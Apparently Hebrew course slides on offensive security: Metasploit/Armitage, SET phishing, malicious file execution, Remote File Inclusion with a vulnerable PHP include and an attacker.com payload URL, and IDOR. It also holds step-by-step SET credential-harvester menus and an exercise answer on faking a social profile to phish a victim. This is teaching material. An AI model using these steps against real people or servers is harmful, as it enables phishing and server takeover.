• Metasploit הוא אחד הכלים הנפוצים ביותר בתחום אבטחת המידע והשימוש בו כולל חיפוש, ניתוח, והפקת דוחות על חולשות במערכות מחשב. Metasploit כולל ספריית exploit (קודים המנצלים חולשות), payloads (קודים המבוצעים לאחר ניצול החולשה), ומודולים נוספים המאפשרים לתקוף מערכות בצורה אוטומטית או ידנית.

1. • מה זה Point-and-Click Metasploit?

• Point-and-Click Metasploit : מתייחס לשימוש בממשק גרפי של Metasploit Framework כדי לבצע פעולות כמו סריקות, ניצול חולשות, ותחזוקת חיבור עם מערכות שנפגעו. הממשק הגרפי מקל על המשתמשים, במיוחד אלה שלא מכירים את השורות פקודה, ומספק כלי אינטואיטיביים לביצוע התקפות מורכבות.

2. • התקנת Metasploit Framework

• ב-Kali Linux, Metasploit Framework מגיע מותקן כברירת מחדל. אם יש צורך להתקין אותו, ניתן לעשות זאת בעזרת הפקודה:

```
sudo apt-get update
```

```
sudo apt-get install metasploit-framework
```

• המשך - Point-and-click metasploit

• יתרונות השימוש ב-Point-and-Click Metasploit

• קלות שימוש:

• ממשק גרפי: הממשק הגרפי מספק אמצעים לניווט ויזואלי, מה שמקל על ביצוע פעולות ללא צורך לזכור פקודות רבות.

• נגישות: מתאים למתחילים ולמנוסים כאחד. מי שאינו מכיר את שורת הפקודה יכול להשתמש בממשק גרפי כדי להבין את הכלים והתהליכים בצורה מוחשית יותר.

• יעילות:

• מהירות ביצוע: עם הכלים הגרפיים, ניתן לבצע סריקות, לנצל חולשות, ולנהל סשנים בצורה מהירה יותר. אין צורך להקליד פקודות רבות.

• ניהול מרכזי: הממשקים הגרפיים מספקים ניהול מרוכז לכל התהליכים. ניתן לראות את התמונה הכוללת של התקפות, סשנים, ופגיעויות באותו מסך.

• חווית משתמש משופרת:

• ויזואליזציה: הממשקים הגרפיים מספקים ויזואליזציה של הנתונים, כמו מפות רשת, מצב סשנים, וסטטיסטיקות התקפות, מה שעוזר להבין את המידע בצורה טובה יותר.

• מרכיבי Point-and-Click Metasploit

• סריקות וזיהוי פגיעויות:

- סריקות רשת: מזהים מכשירים ברשת, פורטים פתוחים ושירותים פעילים.
- סריקות פגיעויות: מבוצעות סריקות כדי לזהות חולשות ידועות בתוכנה או במערכות.
- ניצול חולשות:
- בחירת Exploits: בוחרים את exploit המתאים לחולשה שנמצאה.
- הגדרת: Payloads מגדירים את הקוד שיתבצע לאחר ניצול החולשה, לדוגמה, קוד לשליטה מרחוק או חיבור למחשב המותקף.
- תחזוקת סשנים:
- ניהול סשנים פעילים: עוקבים ומבצעים פעולות על מכשירים שנפגעו, כגון שליחת פקודות או גניבת מידע.
- דוגמה לעבודה עם Point-and-Click Metasploit
- נניח שמנהל מערכת רוצה לבדוק את אבטחת הרשת שלו. הוא משתמש ב- Armitage ממשק גרפי ל-Metasploit:
- סריקת רשת: המנהל מפעיל סריקת נמל על הרשת כדי למצוא מכשירים ושירותים פעילים.
- זיהוי חולשות: הוא מזהה חולשות ידועות על מכשירים מסוימים, כמו גרסאות ישנות של תוכנות פגיעות.
- ניצול חולשות: הוא בוחר ב- exploit המתאים ומגדיר את ה-payload הרצוי, כמו meterpreter כדי לקבל שליטה על המכשירים.
- תחזוקת סשנים: לאחר שהצליח לנצל חולשה, המנהל משתמש ב- Armitage כדי לשלוח פקודות למערכת המותקפת, לעקוב אחרי פעילותה ולבצע אודיט נוסף.
- הבדל בין Point-and-Click ל-CLI (שורת פקודה)
- Point-and-Click:
- ממשק גרפי: מספק כלי אינטואיטיביים וויזואליים. מתאים למי שאינו מכיר את שורת הפקודה.
- נגישות מהירה: ניתן לבצע פעולות רבות דרך ממשק גרפי פשוט.
- CLI:
- ממשק שורת פקודה: דורש הכרות עם פקודות ותחביר, אך מספק שליטה מדויקת יותר ואפשרות להתאמות אישיות.
- גמישות: ניתן לבצע פעולות מורכבות יותר ואוטומטיות עם כתיבת סקריפטים מותאמים.
- כיצד מתמודדים עם האתגרים
- מניעת התקפות:
- עדכון תוכנה: הקפד לעדכן את כל התוכנות והמערכות כדי למנוע ניצול חולשות ידועות.
- בקרת גישה: השתמש בחומות אש ופתרונות אבטחה נוספים כדי להגן על המערכות שלך.
- מעקב וניהול:
- ניטור: עקוב אחרי פעילות רשת ונתונים לא רגילים.

- הגיב במהירות: יש לפתח תוכניות תגובה לאירועים ולהגיב במהירות במקרים של תקיפות.

התקנה והפעלת Metasploit

- התקנה והפעלת Metasploit

- 1. השלב הראשון הוא לוודא שמוחקן לך Metasploit Framework במערכת. אם אתה משתמש ב-Kali Linux הוא מגיע מותקן מראש. כדי להפעיל את Metasploit בצע את הפקודה הבאה בטרמינל:

```
sudo msfconsole
```

- 2. הפעלת ממשק ה-Web של Metasploit: כדי להפעיל את ממשק ה-Web השתמש בפקודה הבאה:

```
sudo msfdb init
```

- לאחר מכן, פתח דפדפן וגש לכתובת:

https://localhost:3790

- הכנס את פרטי ההתחברות שלך, ובצע כניסה לממשק ה-Web.

- המשך - התקנה והפעלת Metasploit

- 3. סריקת פגיעויות

- לאחר שנכנסת לממשק ה-Web בחר בלשונית Modules בחלק העליון של המסך.

- בחר ב- Exploits ולחץ על המודול שאתה רוצה להשתמש בו.

- הכנס את הפרמטרים הדרושים, כגון כתובת IP של המטרה, ולחץ על Run

- 4. שימוש ב-Metasploit למתקפה

- בחר בלשונית Targets והוסף את כתובת ה-IP של המטרה.

- חזור ללשונית Modules ובחר במודול התקיפה הרצוי.

- הגדר את הפרמטרים הדרושים, כגון פורטים, ולחץ על Run

- 5. ניתוח תוצאות

- לאחר הרצת המודול, חזור ללשונית Jobs כדי לראות את התוצאות.

- בדוק את הלוגים והתוצאות המוצגות בממשק ה-Web כדי להבין את הפגיעויות שנמצאו ואת המידע שנאסף.

מבוא להתקפות דיוג (Phishing)

- מבוא להתקפות דיוג (Phishing)

- התקפת דיוג היא אחת מהתקפות הסייבר הנפוצות והמסוכנות ביותר בעולם האבטחת המידע. המטרה העיקרית של התקפת דיוג היא להטעות את הקורבן ולגרום לו לחשוף מידע רגיש, כמו סיסמאות, מספרי כרטיסי אשראי, פרטי חשבון בנק ועוד.

- סיפור לדוגמה

• נניח שיש לך חבר בשם דני. יום אחד דני קיבל אימייל שנראה כאילו הוא נשלח מהבנק שלו. באימייל נכתב שהבנק שלו זיהה פעילות חשודה בחשבונו ומבקש ממנו ללחוץ על קישור כדי לאמת את זהותו. דני, בלי לחשוב פעמיים, לוחץ על הקישור ומוזמן להכניס את פרטי החשבון והסיסמה שלו. מה שדני לא יודע זה שהאימייל נשלח על ידי תוקף שמתחזה לבנק, והקישור מוביל לאתר מזויף שנראה בדיוק כמו האתר האמיתי של הבנק. ברגע שדני מכניס את הפרטים שלו, הם נשלחים ישירות לתוקף, ודני עלול לאבד את כספו או לחשוף מידע רגיש.

סוגי התקפות דיוג

• סוגי התקפות דיוג

1. דיוג דרך אימייל Email Phishing: התוקף שולח אימיילים המתחזים לארגון אמיתי ומבקש מהקורבן להיכנס לאתר מזויף.
2. דיוג ממוקד: Spear Phishing התקפה ממוקדת יותר, כאשר התוקף אוסף מידע על הקורבן ומתקיף אותו באופן אישי.
3. דיוג ממוסך: Whaling התקפה ממוקדת על דמויות בכירות בארגון, כמו מנכ"לים ומנהלים בכירים.
4. דיוג דרך SMS (Smishing): שימוש בהודעות SMS כדי להטעות את הקורבן ללחוץ על קישור זדוני.
5. דיוג דרך טלפון: Vishing התוקף מתקשר ומתחזה לנציג שירות כדי להוציא מידע רגיש מהקורבן.

התקפת דיוג

• המשך - התקפת דיוג

• דוגמה 1: דיוג דרך אימייל

• נניח שעובד בחברה מקבל אימייל שנראה כאילו הוא הגיע ממחלקת ה-IT של החברה. באימייל נאמר שיש לבצע עדכון סיסמא ומצורף קישור לאתר שבו ניתן לעדכן את הסיסמא. העובד לוחץ על הקישור, שמוביל לאתר מזויף המתחזה לאתר של החברה. לאחר שהוא מכניס את שם המשתמש והסיסמא, התוקף מקבל את הפרטים ומתחבר לחשבון של העובד.

• דוגמה 2: דיוג ממוקד

• תוקף אוסף מידע על מנהל בכיר בארגון דרך רשתות חברתיות ופרופילים ציבוריים. לאחר מכן, התוקף שולח למנהל אימייל המתחזה להיות מבוסס על מידע אישי של המנהל, כמו פרטי פרויקט שהמנהל עובד עליו. המנהל, שמזהה את המידע ונראה לו לגיטימי, לוחץ על הקישור ונופל קורבן להתקפה

כיצד להתגונן מפני התקפות דיוג

• כיצד להתגונן מפני התקפות דיוג

1. אימות מקור האימייל: תמיד לבדוק מי השולח ולהיזהר מאימיילים עם כתובות חשודות.
2. בדיקת קישורים: לפני שלוחצים על קישור, לעבור עם העכבר עליו ולראות את הכתובת המלאה.
3. אימות דו-שלבי: שימוש באימות דו-שלבי להוסיף שכבת אבטחה נוספת לחשבונות.
4. חינוך והכשרה: להדריך עובדים ומשתמשים איך לזהות ולהתמודד עם התקפות דיוג.
5. תוכנות אנטי-וירוס ופיירוול: שימוש בתוכנות אבטחה כדי לזהות ולחסום התקפות דיוג.

טכניקות דיוג מתקדמות

• טכניקות דיוג מתקדמות

- 1. דיוג דרך אתרים מזויפים: אחת השיטות המתקדמות היא יצירת אתר מזויף שנראה בדיוק כמו אתר אמיתי. התוקף שולח לקורבן קישור לאתר המזויף, ובו מתבקש להכניס פרטי התחברות או מידע אישי. ברגע שהקורבן מכניס את הפרטים, הם נשלחים לתוקף.
- 2. דיוג דרך מדיה חברתית: תוקפים יכולים להשתמש ברשתות חברתיות כמו פייסבוק, לינקדאין או טוויטר כדי לאסוף מידע על הקורבנות שלהם. הם יוצרים פרופילים מזויפים ומתקשרים עם הקורבנות, במטרה להשיג מידע אישי או לשכנע אותם ללחוץ על קישורים זדוניים.
- 3. דיוג מבוסס נזקות: Malware-based Phishing: בהתקפה זו, הקורבן מקבל אימייל או הודעה המכילה קובץ מצורף עם נזקה. כשפותחים את הקובץ, הנוזקה מותקנת על המחשב של הקורבן ומתחילה לגנוב מידע או לבצע פעולות זדוניות אחרות.

טכניקות מתקדמות להתגוננות מפני דיוג

• טכניקות מתקדמות להתגוננות מפני דיוג

- 1. חינוך מתקדם והדרכה: לימוד עובדים ומשתמשים על סוגי התקפות דיוג, איך לזהות אותן, ומה לעשות במקרה של חשד. ניתן לערוך סימולציות דיוג כדי להעמיק את הידע והמיומנויות שלהם.
- 2. שימוש בתוכנות נגד דיוג: Anti-phishing Software: ישנם כלים ותוכנות המיועדים לזהות ולחסום ניסיונות דיוג, כולל הרחבות לדפדפנים שמזהות אתרים מזויפים ומתריעות בפני המשתמשים.
- 3. אימות דו-שלבי וחוזר: Two-factor and Multi-factor Authentication: שימוש באימות דו-שלבי מוסיף שכבת אבטחה נוספת בכך שמחייב את המשתמש לספק קוד חד-פעמי בנוסף לסיסמא. זה מקשה על התוקפים לגשת לחשבונות גם אם יש להם את הסיסמא.

התקפת דיוג - שאלות

• התקפת דיוג - שאלות

- 1. בדוק מספר אימיילים וזיהה אילו מהם הם ניסיונות דיוג. מה הקריטריונים שבהם השתמשת לזיהוי האימיילים החשודים?
- 2. צור פרופיל מזויף ברשת חברתית וראה כיצד ניתן להשתמש במידע הזמין כדי לתכנן התקפת דיוג ממוקדת.
- 3. מה הם הסיכונים הגדולים ביותר של התקפות דיוג לארגונים וכיצד ניתן למזער אותם?

התקפת דיוג - תשובות

• התקפת דיוג - תשובות

- כתובת השולח: בדוק אם כתובת האימייל של השולח נראית לגיטימית. תוקפים רבים משתמשים בכתובות דומות לכתובות רשמיות עם הבדלים קטנים.
- כותרת האימייל: האם הכותרת נשמעת דחופה או מלחיצה? תוקפים משתמשים בכותרות כמו "חשבון נחסם", "פעולה דחופה נדרשת", "ניסיון כניסה חשוד".

- קישורים ומצרפים: בדוק את הקישורים לפני שאתה לוחץ עליהם על ידי העברת העכבר מעליהם. האם הכתובת נראית חשודה? הימנע מלפתוח מצרפים מאנשים שאתה לא מכיר
- טעויות כתיב ודקדוק: האם יש באימייל טעויות כתיב או דקדוק? אימיילים לגיטימיים בדרך כלל נכתבים בצורה מקצועית.
- בקשות למידע אישי: האם האימייל מבקש מידע רגיש כמו סיסמאות, פרטי כרטיס אשראי או פרטים אישיים אחרים? חברות לגיטימיות לא יבקשו מידע כזה באימייל.
- פרופיל מזויף: צור פרופיל עם שם ותמונה מזויפים.
- איסוף מידע: התחל לאסוף מידע על אנשים שמעניינים אותך (לדוגמה, חברים, עמיתים לעבודה). עקוב אחרי הפרופילים שלהם, בדוק מה הם מפרסמים, מי החברים שלהם, היכן הם עובדים, וכדומה.
- יצירת קשר: התחיל ליצור קשרים עם האנשים על ידי שליחת בקשות חברות או הודעות פרטיות.
- בניית אמון: התכתב עם הקורבן, התעניין בנושאים שמעניינים אותו, והתחל לבנות מערכת יחסים ואמון.
- התקפה ממוקדת: לאחר שבנית אמון, שלח הודעה שמכילה קישור זדוני או בקשה למידע רגיש. לדוגמה, תודיע על "בעיה טכנית" שדורשת מהקורבן לעדכן את הפרטים שלו באתר מזויף שיצרת.
- א. גניבת מידע רגיש: התקפות דיוג יכולות להוביל לגניבת מידע עסקי חשוב, סיסמאות של משתמשים, פרטי לקוחות ועוד.
- מניעה: חינוך והדרכה לעובדים לזהוי והימנעות מהתקפות דיוג. שימוש בכלים לאיתור דואר זבל ודיווח על מיילים חשודים.
- ב. נזק כספי: התקפות דיוג יכולות להוביל להפסדים כספיים משמעותיים כתוצאה מגניבת כסף או השבתה של מערכות.
- מניעה: שימוש באימות דו-שלבי על כל החשבונות, פרוטוקולים לאבטחת תשלומים, וניטור עסקאות חשודות.
- ג. נזק למוניטין: ארגון שנפל קורבן להתקפת דיוג יכול לאבד את אמון הלקוחות ולסבול מפגיעה במוניטין.
- מניעה: פרסום מדיניות אבטחה ברורה, שמירה על קשר עם לקוחות ועדכון במקרים של התקפה, ושיפור מתמיד של אמצעי האבטחה. השתלטות על מערכות: תוקפים יכולים להשתמש במידע שנגנב כדי להשתלט על מערכות הארגון ולגרום לנזקים.
- ד. השתלטות על מערכות: תוקפים יכולים להשתמש במידע שנגנב כדי להשתלט על מערכות הארגון ולגרום לנזקים.
- מניעה: שימוש בתוכנות הגנה, עדכוני אבטחה שוטפים, וניטור תעבורת רשת למניעת כניסות בלתי מורשות.

כלי להתקפת דיוג

- כלי להתקפת דיוג
- SET (Social Engineering Toolkit):
- Social Engineering Toolkit (SET) הוא אחד הכלים הפופולריים ביותר לביצוע התקפות דיוג. הוא מאפשר יצירת קמפיינים של התקפות דיוג בקלות, וכולל מגוון רחב של אפשרויות להתאמה אישית של התקפות.
- שלבים לשימוש ב-SET ליצירת התקפת דיוג:

• הפעלת SET:

sudo setoolkit

- בחירת סוג ההתקפה: תפריט SET'יפתח. בחר באופציה 1 Social-Engineering Attacks
- בחירת סוג ההתקפה הספציפית: למשל, ניתן לבחור באופציה 2 Website Attack Vectors כדי ליצור אתר מזויף.
- בחירת סוג ההתקפה על אתר: ניתן לבחור באופציה כמו Credential Harvester Attack Method או Metasploit Browser Exploit Method
- המשך - כלי להתקפת דיוג

מבוא להפעלה זדונית של קבצים

- מבוא להפעלה זדונית של קבצים
- Malicious File Execution הפעלה זדונית של קבצים: היא אחת הטכניקות הנפוצות והאפקטיביות ביותר לתקיפת מערכות מחשב. בשיטה זו, תוקף מנסה לגרום לקורבן להפעיל קובץ שמכיל קוד זדוני, אשר עלול לבצע פעולות מזיקות במערכת המחשב של הקורבן.
- איך זה עובד?
- בקצרה, הקובץ הזדוני יכול להיות מצורף למייל, להורדה מאתר אינטרנט, או אפילו כחלק מקובץ תמים שנמצא ברשתות שיתוף קבצים. לאחר שהקורבן מוריד או מפעיל את הקובץ, הקוד הזדוני מופעל ויכול לגרום לנזק כמו:
 1. גניבת מידע רגיש: כגון סיסמאות, מספרי אשראי וכו'.
 2. התקנה של תוכנות ריגול: שממשיכות לפעול ברקע.
 3. השגת גישה מרחוק: לתוקף למערכת הקורבן.
 4. הצפנה של קבצים: לצורך סחיטה (כמו במתקפת כופר – Ransomware)

הפעלה זדונית של קבצים

- המשך – הפעלה זדונית של קבצים
- דוגמה מסיפור אמיתי
- ב-2017, תוכנת כופר בשם WannaCry התפשטה ברחבי העולם וגרמה לנזק עצום. הכל התחיל מקובץ זדוני שהגיע במייל או הוצג באתר פופולרי. כשהמשתמש הפעיל את הקובץ, הקוד הזדוני השתמש בפגיעות ידועה במערכות Windows והתחיל להצפין את כל הקבצים במחשב הקורבן. לאחר מכן, המשתמש נדרש לשלם כופר כדי לשחרר את הקבצים.

סוגי Malicious File Execution

- סוגי Malicious File Execution
- 1. הזרקת קוד Code Injection:
 - מה זה? הזרקת קוד היא סוג של התקפה שבה התוקף מכניס קוד זדוני לקובץ תמים או אפילו לתוך יישום אינטרנט, כך שבזמן הרצת הקובץ או היישום, הקוד הזדוני מתבצע.

- דוגמה: דמיין תוקף שמצליח להזריק קוד SQL לקובץ המנוהל על ידי מסד נתונים. כשהקובץ מופעל, הקוד הזדוני יכול לבצע פעולות לא חוקיות במסד הנתונים, כמו גניבת נתונים או מחיקתם.
- 2. הרצת סקריפטים באתרי אינטרנט – Cross-Site Scripting – XSS:
 - מה זה? XSS היא התקפה שבה התוקף מזריק סקריפט בדרך כלל בשפת JavaScript לתוך דף אינטרנט שנראה תמים. כאשר הקורבן גולש לאותו דף, הסקריפט הזדוני מתבצע בדפדפן שלו.
 - דוגמה: תוקף משאיר תגובה באתר עם קוד JavaScript זדוני. כאשר משתמש אחר גולש לאותו דף ומפעיל את הסקריפט, המידע האישי שלו עלול להיגנב או המחשב שלו עלול להידבק.
- המשך - סוגי Malicious File Execution
- 3. הרצת קבצי סקריפטים Script Execution:
 - מה זה? התקפה שבה התוקף גורם לקורבן להפעיל סקריפט זדוני, כמו סקריפט Bash או PowerShell, שיכול לבצע מגוון פעולות במערכת הקורבן.
 - דוגמה: דמיין תוקף ששולח קובץ "sh" שמכיל פקודות להריץ ברקע תהליכים זדוניים, כמו הורדת קבצים נוספים או פתיחת דלת אחורית למערכת.
- 4. קבצי מאקרו זדוניים:
 - מה זה? התקפה שבה התוקף משתמש במאקרו, שהוא בעצם קובץ קטן שמכיל פקודות להפעלה אוטומטית (בדרך כלל בקובצי Office Word ו-Excel).
 - דוגמה: קובץ Excel שנראה תמים עשוי להכיל מאקרו שמוריד ומפעיל תוכנה זדונית ברגע שהמשתמש מפעיל את המאקרו.

שיטות נפוצות להפצה של קבצים זדוניים

- שיטות נפוצות להפצה של קבצים זדוניים
- 1. פישנינג Phishing:
 - תוקפים משתמשים במיילים מזויפים שנראים כאילו הגיעו ממקור אמין כדי לשכנע את הקורבן להוריד ולהפעיל קובץ זדוני.
 - דוגמה: מייל שמדמה הודעה מהבנק עם צרופה שמכילה "דוח חשבון", ובפועל מדובר בקובץ זדוני.
- 2. הורדות ממקומות לא מאובטחים:
 - הורדת קבצים מאתרים לא מאובטחים או מפוקפקים, שעלולים להכיל נזקות.
 - דוגמה: הורדה של תוכנה חינוכית מאתר לא מוכר, שכוללת קובץ התקנה עם נזקה.
- 3. הנדסה חברתית Social Engineering:
 - שימוש במניפולציה פסיכולוגית כדי לגרום לקורבן להוריד ולהפעיל קובץ זדוני.
 - דוגמה: תוקף מתחזה לאיש תמיכה טכנית ומבקש מהקורבן להוריד קובץ כדי "לתקן בעיה".

הגנות והתמודדות עם Malicious File Execution

• הגנות והתמודדות עם Malicious File Execution

1. אנטי-וירוס ומערכות הגנה אוטומטיות: שימוש בתוכנות אנטי-וירוס מעודכנות שיכולות לזהות ולהסיר קבצים זדוניים באופן אוטומטי. יש גם כלים נוספים כמו חומות אש אישיות יכולים לעקוב אחרי תעבורת רשת חשודה.
2. מדיניות אבטחה ארגונית: ארגונים צריכים להגדיר מדיניות נוקשה למניעת הרצת קבצים ממקורות לא מאובטחים, כמו לדוגמה, הגבלת הפעלת מאקרו בקבצי Office או חסימת התקנת תוכנות שלא אושרו.
3. חינוך והסברה: חינוך המשתמשים על הסכנות שבפתיחת קבצים מצורפים ממקורות לא מוכרים או הורדת תוכנות ממקורות לא מהימנים. וגם הדרכה על איך לזהות ניסיונות פשיג ונוזקות.
4. ביצוע בדיקות קבצים בסביבה מבודדת Sandboxing: ביצוע הרצת קבצים חשודים בסביבה מבודדת לפני הפעלתם במערכת הראשית כדי לראות אם הם זדוניים. כלים כמו Cuckoo Sandbox מאפשרים להריץ קבצים בסביבה וירטואלית כדי לנתח את פעולתם

שאלות - הפעלה זדונית של קבצים

• שאלות - הפעלה זדונית של קבצים

1. מהן הדרכים המרכזיות להפצת קבצים זדוניים, ומהן ההגנות האפשריות לכל אחת מהן?
2. איך התקפות כמו הזרקת קוד Code Injection יכולות לנצל פגיעויות קיימות במערכת או בקבצים?
3. באילו אמצעים ניתן להשתמש כדי למנוע הפעלה אוטומטית של קבצים זדוניים במערכת?

יצירת קוד זדוני

• יצירת קוד זדוני:

1. ניצור סקריפט Bash שמדמה קובץ זדוני. הוא יבצע פעולה פשוטה כמו יצירת קובץ חדש במערכת.
- פתח טרמינל בקלי לינוקס.

• ניצור קובץ סקריפט חדש שנקרא malicious.sh

• nano malicious.sh

• הכנס את הקוד הבא לתוך הקובץ:

• " Echo "you make bad code

• touch /tmp/malicious_file

• "echo "ha ha ha ha

• תלחץ על Ctrl + X ואז Y ואז ENTER בכדי לשמור את הקובץ

• ואז תהפוך את הקובץ לסוג קובץ מורץ

• chmod +x malicious.sh

- תריץ את הקובץ

- malicious.sh/.

- ותבדוק אם נוצר לך הקובץ

- ls /tmp/malicious_file

מה זה Remote File Inclusion(RFI)?

- Remote File Inclusion(RFI)? מה זה

• Remote File Inclusion (RFI) היא פגיעות באבטחת מידע שמאפשרת לתוקף להכניס ולהפעיל קובץ מרוחק על שרת. זה קורה כאשר יישום אינטרנטי מאפשר להכניס קובץ מהאינטרנט לתוך הקוד המקומי של האתר, דרך פרמטרים כמו כתובת URL או קלט משתמש אחר. הפגיעות הזאת מסוכנת מאוד כי היא מאפשרת לתוקף להכניס קוד זדוני ישירות לתוך השרת, מה שעלול להוביל להשתלטות מלאה על המערכת.

כיצד RFI עובד?

- כיצד RFI עובד?

- הבסיס הטכני: תאר לעצמך אתר אינטרנט שמאפשר למשתמשים לבחור איזו שפה להציג. לפעמים, הבחירה הזאת נשמרת בפרמטר URL כמו lang=english? השרת משתמש בפרמטר הזה כדי לטעון קובץ מתאים שמכיל את הטקסטים בשפה הנבחרת.

- אבל אם האתר לא מוודא שהקובץ שהוא טוען מגיע מתוך ספריית הקבצים שלו, התוקף יכול לשנות את הפרמטר הזה ולהפנות לקובץ אחר שנמצא בשרת אחר לחלוטין, כמו: http://malicious-site.com/badfile.php?lang=english? ברגע שהקובץ המרוחק נטען, הוא מבוצע על השרת כאילו היה חלק מקוד האתר.

- דוגמה בסיסית: נניח שיש לנו אתר שמריץ את הקוד הבא (פשוט מדי, אבל ממחיש את הרעיון):

```
>?php
```

```
include($_GET['page']);
```

- האתר מקבל את הפרמטר PAGE מה-URL, ואז טוען את הקובץ המתאים. אם התוקף מעביר ל-URL משהו כזה:

```
http://victim-site.com/?page=http://attacker.com/malicious.php
```

- האתר יטען ויבצע את הקובץ המרוחק.

- מה יכול תוקף לעשות? תוקף יכול להעלות קובץ PHP זדוני שמכיל קוד המאפשר לו להשתלט על השרת, כמו פתיחת דלת אחורית backdoor שתאפשר לו גישה מרחוק לשרת בכל זמן שירצה.

איך להתגונן מ-RFI?

- איך להתגונן מ-RFI?

- הגבלת הקבצים שנטענים: ודא שהקבצים שנטענים דרך פרמטרים כמו PAGE? הם רק קבצים שנמצאים בספרייה מסוימת על השרת.

- השתמש במסלולים יחסיים: במקום לקבל את הנתיב המלא מהמשתמש, השתמש במסלול יחסי `relative path` שמוביל לספרייה ספציפית במערכת.
- בדיקת קלטים: בדוק היטב את הקלטים של המשתמש. אל תאפשר להכניס קבצים מהאינטרנט, ותמיד בדוק שהקובץ מגיע מהשרת שלך בלבד.
- השתמש בפתרונות אבטחה כמו WAF (Web Application Firewall): יכול לעזור לסנן בקשות חשודות שמנסות לנצל פגיעויות כמו RFI.

התקפות שרשרת (Chain Attacks) עם RFI

- התקפות שרשרת (Chain Attacks) עם RFI
- לעיתים קרובות RFI אינה המטרה הסופית של התוקף אלא חלק משרשרת התקפות. לאחר שתוקף מצליח להכניס קובץ מרוחק לשרת, הוא עשוי להשתמש בכך כדי להשיג גישה נוספת או לבצע התקפות נוספות כמו:
- הזרקת: SQL התוקף עשוי לשלב קוד זדוני בקובץ המרוחק שמנצל גם פגיעות SQL שיהאפשר לו לגשת למידע רגיש במסד הנתונים.
- Cross-Site Scripting (XSS): התוקף עשוי להזריק קוד JavaScript שירוצ' בדפדפני המשתמשים ויבצע פעולות בשמם.
- פריצה למערכות נוספות: ברגע שהתוקף שולט בשרת, הוא יכול להשתמש בו כנקודת גישה להמשך התקפות על מערכות נוספות בתוך הרשת הפנימית.

סוגי קבצים זדוניים שניתן להעלות ב-RFI

- סוגי קבצים זדוניים שניתן להעלות ב-RFI
- Web Shells: אלה הם סקריפטים (בדרך כלל ב-PHP, ASP, JSP וכו') המאפשרים לתוקף לשלוט מרחוק בשרת דרך דפדפן. דוגמאות לכלים כאלו כוללות את C99 shell, R57 shell
- קבצי סקריפט להפעלה עצמית: תוקף יכול להכניס סקריפטים שמבצעים פעולות זדוניות באופן אוטומטי, כמו מחיקת קבצים, שינוי הרשאות, או יצירת משתמשים חדשים בשרת.
- קבצים לפעולות ריגול: תוקף יכול להכניס קובץ שמאזין לתעבורת הנתונים על השרת או חוטף סשנים של משתמשים.

מניעת RFI באמצעות טכניקות מתקדמות

- מניעת RFI באמצעות טכניקות מתקדמות
- הגבלת סוגי הקבצים שניתן להעלות: יש להגדיר את השרת כך שיטעין רק סוגים ספציפיים של קבצים, ולוודא שהם בטוחים (כמו קבצי PHP מסוימים שנמצאים רק בספריות מאושרות).
- שרשור נתיבים עם פונקציות PHP: שימוש בפונקציות כמו `REALPATH` () כדי לוודא שהנתיב שהמשתמש מספק הוא תקין ומוביל לספרייה הנכונה.
- התאמה אישית של הגדרות ה-PHP: השבתת האפשרות להכליל קבצים חיצוניים עם פונקציות כמו `allow_url_include` ב-PHP.ini.

- שימוש ב-Content Security Policy (CSP) : הגבלת המקורות מהם ניתן להפעיל סקריפטים בדפי האינטרנט על ידי הגדרת CSP

זיהוי RFI ותגובה מהירה

- זיהוי RFI ותגובה מהירה

- זיהוי תעבורת רשת חשודה: מעקב אחר תעבורת HTTP/HTTPS שמצביעה על גישה לקבצים ממקורות חיצוניים או ניסיונות לגשת לקבצים שלא צריכים להיות נגישים מחוץ לשרת.
- שימוש בכלי (IDS/IPS (Intrusion Detection/Prevention Systems : מערכות אלו יכולות לזהות ניסיונות RFI ולחסום אותם בזמן אמת.
- לוגים ובדיקת גישה: בדוק את לוגי הגישה לשרת כדי לזהות ניסיונות לגשת לקבצים דרך URL ונסה לזהות דפוסים חשודים של פרמטרים.

אבטחת פלטפורמות נפוצות (CMS))

- אבטחת פלטפורמות נפוצות (CMS))

- פלטפורמות כמו Joomla, WordPress ו-Drupal הן מטרות נפוצות להתקפות RFI בגלל פופולריותן והרחבות התוספים שלהן. על מנהלי אתרים לוודא שכל התוספים והערכות מותקנות מעודכנים לגרסאות האחרונות ושלא קיימות פגיעות מוכרות בהן.

RFI - שאלות

- RFI - שאלות

1. מהו ההבדל בין Remote File Inclusion (RFI) ל-Local File Inclusion (LFI) ?
2. כיצד תוקף יכול להשתמש ב-RFI כדי ליצור "דלת אחורית" Backdoor בשרת?
3. כיצד ניתן למנוע מתקפות RFI באפליקציות אינטרנטיות?

RFI - תשובות

- RFI - תשובות

1. RFI מאפשר לתוקף לכלול ולהפעיל קובץ מרוחק מהאינטרנט על השרת, בעוד ש-LFI מאפשר לתוקף להפעיל קובץ מקומי שנמצא כבר על השרת. RFI נחשב למסוכן יותר מכיוון שהוא מאפשר הכנסת קוד זדוני מרוחק, אך LFI יכול להיות מסוכן גם כן אם הוא מאפשר לתוקף לגשת לקבצים רגישים שנמצאים על השרת.
2. תוקף יכול להשתמש ב-RFI כדי להכניס קובץ PHP זדוני לשרת, המכיל קוד שמאפשר לתוקף לשלוט מרחוק בשרת. זה כולל הפעלת פקודות, העלאת קבצים, והוספת משתמשים חדשים. קובץ כזה נקרא Web, Shell, והוא יכול לשמש את התוקף כדי לשמור על גישה לשרת גם לאחר סיום ההתקפה הראשונית.
3. כדי למנוע מתקפות RFI יש לוודא שהאפליקציה טוענת רק קבצים מקומיים מתוך ספריות מוגדרות מראש ולא מקבלת קלט בלתי מסונן מהמשתמש. אפשר גם להשבית פונקציות ב-PHP כמו allow_url_include להשתמש במסלולים יחסיים במקום נתיבים מלאים, ולבדוק את הקלטים של המשתמשים כדי לוודא שהם לא מכילים נתיבים זדוניים.

Insecure Direct Object Reference (IDOR)

Insecure Direct Object Reference (IDOR) •

• Insecure Direct Object Reference (IDOR) הוא סוג של פגיעות אבטחת מידע שבה התוקף יכול לגשת ישירות לאובייקט (כגון קובץ, רשומה במסד נתונים, או פריט אחר) על ידי שינוי מזהה האובייקט ID. הדבר מתאפשר כאשר האפליקציה לא מוודאת אם למשתמש יש את ההרשאות המתאימות לגשת לאובייקט המסוים הזה.

IDOR

• המשך - IDOR

• איך IDOR עובד?

• נניח שיש לך אתר לניהול חשבונות משתמשים, וכל משתמש יכול לגשת לחשבון שלו על ידי כניסה עם שם משתמש וסיסמה. לאחר הכניסה, המשתמש מועבר לדף שמציג את פרטי החשבון שלו ו-URL נראה כך:

• <https://example.com/account?id=1234>

